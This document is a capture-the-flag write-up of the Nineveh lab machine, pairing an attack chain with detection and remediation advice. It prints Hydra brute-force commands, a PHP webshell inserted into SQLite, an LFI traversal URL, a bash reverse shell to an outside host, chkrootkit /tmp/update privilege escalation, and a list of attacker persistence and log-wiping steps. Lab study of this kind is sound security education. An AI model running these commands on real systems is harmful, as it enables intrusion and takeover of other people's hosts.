Overview
Nineveh is a medium Linux box that demands patience and lateral thinking. Two Apache instances on the same host serve entirely different applications: HTTP hosts a custom department login portal, HTTPS runs phpLiteAdmin. Neither is exploitable in isolation. The foothold requires chaining a write primitive (phpLiteAdmin database creation) with a read primitive (LFI in the department application), combining two vulnerabilities across two protocols to achieve code execution.
User access comes from an RSA private key hidden inside a PNG image, and root from the ironic situation of a rootkit detection tool (chkrootkit) providing a root escalation path through its own vulnerability. The box teaches a core principle: vulnerabilities that appear low-impact individually become critical when chained.
Reconnaissance
I start with a service scan to map the attack surface:
nmap -sC -sV -oA scans/nineveh 10.129.13.126
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | Apache httpd 2.4.18 (Ubuntu) | Default page (178 bytes) |
| 443 | HTTPS | Apache httpd 2.4.18 (Ubuntu) | Image page, CN=nineveh.htb |
Two ports, both Apache, but serving different content. The SSL certificate
discloses the hostname nineveh.htb. SSH (port 22) is absent from the scan
results. This is noteworthy: a Linux host without SSH exposed externally
suggests either firewall filtering or port knocking. I revisit this later.
Apache 2.4.18 maps to Ubuntu 16.04 (Xenial). PHP 7.0.18 is confirmed via
/info.php on port 80, which also leaks the full server configuration:
loaded modules, disabled functions, open_basedir settings (none), and the
document root at /var/www/html. The absence of open_basedir is significant
because it means include() calls can traverse the entire filesystem.
Attack Surface Analysis
Different content on HTTP versus HTTPS is an immediate signal. Two web applications on the same host means two independent attack surfaces that may interact.
HTTP (port 80)
I enumerate directories with gobuster against port 80:
gobuster dir -u http://10.129.13.126 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php
Two endpoints of interest:
/department/login.php: a custom login form with username and password fields/info.php: full phpinfo() output confirming PHP 7.0.18
The login form leaks username validity through differentiated error messages.
Submitting a non-existent username returns “invalid username”, while submitting
a valid username with a wrong password returns “Invalid Password” (note the
capitalisation difference). This is a username enumeration vulnerability
(CWE-204). Testing confirms admin is a valid account.
The phpinfo page is a high-value target on its own. It confirms
allow_url_include is Off (ruling out RFI), disable_functions is empty
(meaning system(), exec(), and passthru() are all available once code
execution is achieved), and no open_basedir restriction. This information
shapes the exploitation strategy: any LFI that includes a file containing PHP
code will result in full command execution.
HTTPS (port 443)
Directory enumeration against the HTTPS vhost:
gobuster dir -u https://10.129.13.126 -k -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Two directories:
/db/: phpLiteAdmin v1.9 (SQLite web management interface, single password field)/secure_notes/: directory listing containingnineveh.png(2.8 MB, unusually large for a simple image)
phpLiteAdmin v1.9 is a single-file PHP application for managing SQLite
databases. The critical capability is that it allows creating new databases at
arbitrary filesystem paths. If I can authenticate, I gain a filesystem write
primitive: I can write arbitrary content to any path writable by the www-data
user.
The 2.8 MB file size of nineveh.png is suspicious. A typical photograph at
web resolution is under 500 KB. The excess size suggests appended data.
Vulnerability Analysis
The attack requires chaining four separate weaknesses. I document each with its root cause.
phpLiteAdmin weak credentials
The phpLiteAdmin instance on HTTPS accepts password123 after brute-forcing
with Hydra:
hydra -l none -P /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
10.129.13.126 https-post-form \
"/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password."
This is not a vulnerability in phpLiteAdmin itself; it is a deployment issue.
phpLiteAdmin uses a single shared password stored in a configuration file
(phpliteadmin.config.php). The application has no account lockout, no rate
limiting, and no CAPTCHA, making brute-force trivial.
SQLite as a PHP code injection vector
A SQLite database is a binary file with structured headers, but PHP’s
include() function does not validate file format. It scans the entire file
for <?php opening tags and executes any PHP code it finds, ignoring
surrounding binary data. This means a SQLite database containing PHP code in a
table field becomes a valid PHP file when included.
phpLiteAdmin allows creating databases at arbitrary paths and inserting arbitrary data into tables. Combined, these features turn phpLiteAdmin into a webshell generator: create a database at a known path, insert a PHP payload into a table row, then trigger inclusion from another vulnerability.
This technique was documented as EDB-24044 in 2013.
| Attribute | Value |
|---|---|
| EDB | 24044 |
| CWE | CWE-94 (Improper Control of Code Generation) |
| Root cause | PHP include() processes any file as PHP source |
| Prerequisite | phpLiteAdmin authentication; a separate LFI vulnerability |
LFI in department application
The department application’s manage.php page includes files via the notes
GET parameter. The application applies a path filter: the string ninevehNotes
must appear somewhere in the requested path. If the check fails, the
application returns an error.
This filter is bypassable via directory traversal. The path
/ninevehNotes/../../../../../etc/passwd satisfies the substring check (it
contains ninevehNotes) while the ../ sequences resolve to a completely
different location on the filesystem. The filter checks the raw string; the
filesystem resolves the traversal. This is CWE-22 (Improper Limitation of a
Pathname to a Restricted Directory).
The combination of this LFI with the phpLiteAdmin write primitive produces RCE: write PHP code into a SQLite database at a known path, then include that path through the LFI.
chkrootkit local privilege escalation (CVE-2014-0476)
chkrootkit versions before 0.50 contain a vulnerability in the slapper()
function. The function tests for the Slapper worm by checking if
/tmp/update exists. If it does, chkrootkit executes it. The execution
happens in the context of the chkrootkit process, which runs as root via cron.
The root cause is CWE-427 (Uncontrolled Search Path Element): a privileged
process executes a file from a world-writable directory (/tmp) without
verifying ownership, permissions, or integrity. Any local user can place a
script at /tmp/update and gain root execution.
| Attribute | Value |
|---|---|
| CVE | CVE-2014-0476 |
| CVSS 3.1 | 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-427 (Uncontrolled Search Path Element) |
| Root cause | chkrootkit executes /tmp/update without path validation |
| Affected | chkrootkit < 0.50 |
| Prerequisite | Local shell access; chkrootkit running via cron as root |
Exploitation
Step 1: Brute-force phpLiteAdmin
I use Hydra to brute-force the phpLiteAdmin login on HTTPS. The form uses a
POST request with a single password field and returns “Incorrect password.”
on failure:
hydra -l none -P /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
10.129.13.126 https-post-form \
"/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password."
Result: password123. This grants full database management access.
Step 2: PHP code injection via SQLite
Inside phpLiteAdmin, I create a new database at /var/tmp/ninevehNotes.db.
The filename includes ninevehNotes deliberately: this satisfies the LFI path
filter without requiring directory traversal in the filename itself. I chose
/var/tmp/ because it is world-writable and persists across reboots (unlike
/tmp on systems with tmpfs).
I create a table and insert a PHP webshell:
CREATE TABLE cmd (code TEXT);
INSERT INTO cmd VALUES ('<?php system($_REQUEST["c"]); ?>');
The database file at /var/tmp/ninevehNotes.db now contains executable PHP
embedded in the SQLite binary structure.
Step 3: Brute-force department login
The department login form on port 80 requires authentication before the LFI
in manage.php is accessible. I brute-force with Hydra:
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
10.129.13.126 http-post-form \
"/department/login.php:username=^USER^&password=^PASS^:Invalid Password"
Result: admin:1q2w3e4r5t. The password is a keyboard walk pattern (top row,
alternating digits), common in weak password lists.
Step 4: LFI to RCE
With authenticated access to the department application, I trigger the LFI to include the SQLite database containing PHP code:
http://10.129.13.126/department/manage.php?notes=/ninevehNotes/../../../../../var/tmp/ninevehNotes.db&c=id
Response (within binary SQLite data): uid=33(www-data) gid=33(www-data) groups=33(www-data)
The chain works as follows: the notes parameter passes the substring check
(contains ninevehNotes), PHP’s include() opens the SQLite file, the
interpreter scans past the binary headers, finds the <?php system(...) ?>
tag in the table data, and executes it. The c parameter passes through
$_REQUEST to system(), which runs id and returns the output.
I upgrade to a reverse shell:
# URL-encoded bash reverse shell via the c parameter
curl "http://10.129.13.126/department/manage.php?notes=/ninevehNotes/../../../../../var/tmp/ninevehNotes.db" \
--data-urlencode "c=bash -c 'bash -i >& /dev/tcp/10.10.14.X/9001 0>&1'"
Step 5: SSH key from steganography
The nineveh.png image at /secure_notes/ on HTTPS contains an RSA private
key appended after the PNG IEND marker. PNG files have a well-defined end
marker (IEND chunk); any data after it is ignored by image viewers but
remains accessible to tools that read raw bytes.
This is not steganography in the cryptographic sense (no data hidden within
pixel values). The key is simply concatenated to the file, visible with
strings:
wget --no-check-certificate https://10.129.13.126/secure_notes/nineveh.png
strings nineveh.png | grep -A 30 'BEGIN.*KEY'
The output contains a full RSA key for the user amrois. I extract it:
strings nineveh.png | sed -n '/BEGIN.*KEY/,/END.*KEY/p' > amrois_key
chmod 600 amrois_key
SSH on port 22 is listening on the host but filtered by iptables from external
connections. From the www-data reverse shell, I write the key to /var/tmp/
and connect via localhost:
ssh -i /var/tmp/amrois_key [email protected]
User flag captured. The SSH filtering explains why port 22 did not appear in the initial nmap scan. Port knocking may also be configured (several writeups mention knockd on this box), but connecting via localhost bypasses the need to discover the knock sequence.
Post-Exploitation
Enumeration
As amrois, I enumerate for privilege escalation paths:
ls -la /report/
# -rw-r--r-- 1 amrois amrois ... report-25-06-22:00:01
# -rw-r--r-- 1 amrois amrois ... report-25-06-22:00:02
The /report/ directory contains chkrootkit output files regenerated every
minute. The timestamps confirm a cron job. I verify the chkrootkit version:
chkrootkit -V
# chkrootkit version 0.49
Version 0.49 is vulnerable to CVE-2014-0476.
Privilege escalation via chkrootkit
I create the /tmp/update file that chkrootkit will execute as root. Rather
than a direct reverse shell (which requires timing), I create a SUID copy of
bash for persistent root access:
echo '#!/bin/bash' > /tmp/update
echo 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash' >> /tmp/update
chmod +x /tmp/update
After waiting up to 60 seconds for the cron job to fire:
ls -la /tmp/rootbash
# -rwsr-xr-x 1 root root 1037528 ... /tmp/rootbash
/tmp/rootbash -p
id
# uid=1000(amrois) gid=1000(amrois) euid=0(root)
The -p flag is critical: without it, bash drops the effective UID on
startup, negating the SUID bit. Root flag captured.
What a real attacker does next
In a production environment, the post-exploitation checklist from this host would include:
- Credential harvesting:
/etc/shadowfor crackable hashes, SSH authorised keys across all home directories, database credentials in phpLiteAdmin configuration and web application configs - Network pivoting: this host likely has internal interfaces not visible externally; ARP scanning and routing table inspection reveal the internal topology
- Persistence: cron jobs, SSH key injection into
root’sauthorized_keys, or a PAM backdoor module - Evidence destruction: the chkrootkit reports in
/report/record execution history; a sophisticated attacker would sanitise these
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | WAF rules for directory traversal sequences (../) in query strings |
| Execution | T1059.004 | Process monitoring: /bin/sh or /bin/bash spawned by Apache worker |
| Persistence | T1053.003 | File integrity monitoring on /tmp/update |
| Credential access | T1552.004 | Anomalous SSH connections from www-data UID processes |
| Privilege escalation | T1068 | Audit chkrootkit execution; alert on child processes spawned by chkrootkit |
| Brute-force | T1110.001 | Rate limiting or alerting on repeated POST failures to login endpoints |
Host-level: File integrity monitoring (AIDE, OSSEC) would detect the
creation of /tmp/update. Any SUID binary appearing in /tmp should trigger
an immediate alert; SUID files outside /usr/bin, /usr/sbin, and
/usr/lib are suspicious by default. Process tree monitoring would flag
Apache spawning shell processes: the normal Apache process tree is
apache2 -> apache2 (parent to worker), never apache2 -> sh -> bash.
Application-level: The phpLiteAdmin brute-force generates rapid sequential
POST requests to /db/index.php, each with a different password value. Rate
limiting (fail2ban watching Apache access logs) would block this. The LFI
payload is visible in Apache access logs as a GET parameter containing ../
sequences.
Network-level: SSH connections originating from the www-data user (UID 33)
are anomalous. Auditd rules on the connect syscall filtered by UID would
catch this. In a production environment, www-data should never initiate
outbound connections to port 22.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade chkrootkit to 0.50+ | Low | Critical |
| P0 | Remove phpLiteAdmin or restrict access to localhost only | Low | Critical |
| P0 | Fix LFI in department application: use a whitelist of allowed includes rather than a substring check | Medium | Critical |
| P1 | Set open_basedir in PHP configuration to restrict include() paths | Low | High |
| P1 | Remove /info.php from production (leaks full server configuration) | Low | High |
| P1 | Remove SSH key from nineveh.png and rotate all SSH keys | Low | High |
| P2 | Deploy fail2ban for Apache to block brute-force against login forms | Low | Medium |
| P2 | Deploy file integrity monitoring (AIDE/OSSEC) for /tmp and /var/tmp | Medium | Medium |
| P2 | Implement differentiated error message fix: return the same error for invalid username and invalid password | Low | Medium |
| P3 | Upgrade OS from Ubuntu 16.04 to a supported release | High | High |
The phpLiteAdmin write primitive and the department LFI are individually medium severity. Chained together, they produce unauthenticated RCE. This is a textbook example of why vulnerability prioritisation must consider exploitability in context, not just individual CVSS scores. A vulnerability scanner would rate the LFI as medium and phpLiteAdmin’s weak password as low; the combination is critical.
The chkrootkit escalation is a deeper architectural problem. Security tooling
that executes files from world-writable directories without integrity
verification becomes the attack vector itself. The slapper() function in
chkrootkit blindly executes /tmp/update because the original developer
assumed only the Slapper worm would place a file there. Any cron job running
as root that touches predictable paths in /tmp is exploitable by any local
user. The fix is straightforward (upgrade chkrootkit), but the class of
vulnerability (privileged execution of world-writable paths) should be audited
across all cron jobs on the host.
The LFI substring check (ninevehNotes must appear in the path) is a common
anti-pattern. Path-based filters applied to raw strings before filesystem
resolution are always bypassable via traversal, null bytes (on older PHP
versions), or encoding tricks. The correct fix is a whitelist of allowed
include targets, not a pattern match on the requested path.
Key Takeaways
-
Different content on HTTP versus HTTPS is a signal. Two web applications on the same host must be enumerated independently. The exploitation chain here requires combining vulnerabilities from both protocols, which would be invisible if only one were tested. Always run directory enumeration against each port and vhost separately.
-
Write primitives chain with read primitives. phpLiteAdmin’s database creation is a filesystem write. The department application’s LFI is a filesystem read (via
include()). Neither is critical alone; together they produce RCE. When auditing applications, map all read and write primitives and evaluate their pairwise combinations. -
PHP includes any file, not just PHP files. The
include()function does not check file extensions or magic bytes. It scans the entire file contents for PHP tags. This means SQLite databases, log files, uploaded images with embedded PHP, and even/proc/self/environ(on older systems) are all valid inclusion targets if they contain<?phpanywhere in their contents. -
Filtered ports are not closed ports. SSH was filtered externally but listening on localhost. Gaining code execution on the host and connecting via
127.0.0.1bypasses firewall rules that only apply at the network boundary. Always check for locally listening services withss -tlnpornetstatafter gaining a shell. -
Security tooling can be the vulnerability. chkrootkit, a tool designed to detect rootkits, provided the root escalation path. Any privileged process that executes files from predictable world-writable locations is a latent privilege escalation vulnerability. Audit every cron job that runs as root for references to
/tmp,/var/tmp, or other world-writable directories. -
Start simple with data extraction. The SSH key in
nineveh.pngwas not hidden with any steganographic tool. It was appended after the PNG end marker, visible tostringsin seconds. Always checkstrings,binwalk, andfilebefore reaching for specialised stego tools likesteghideorzsteg.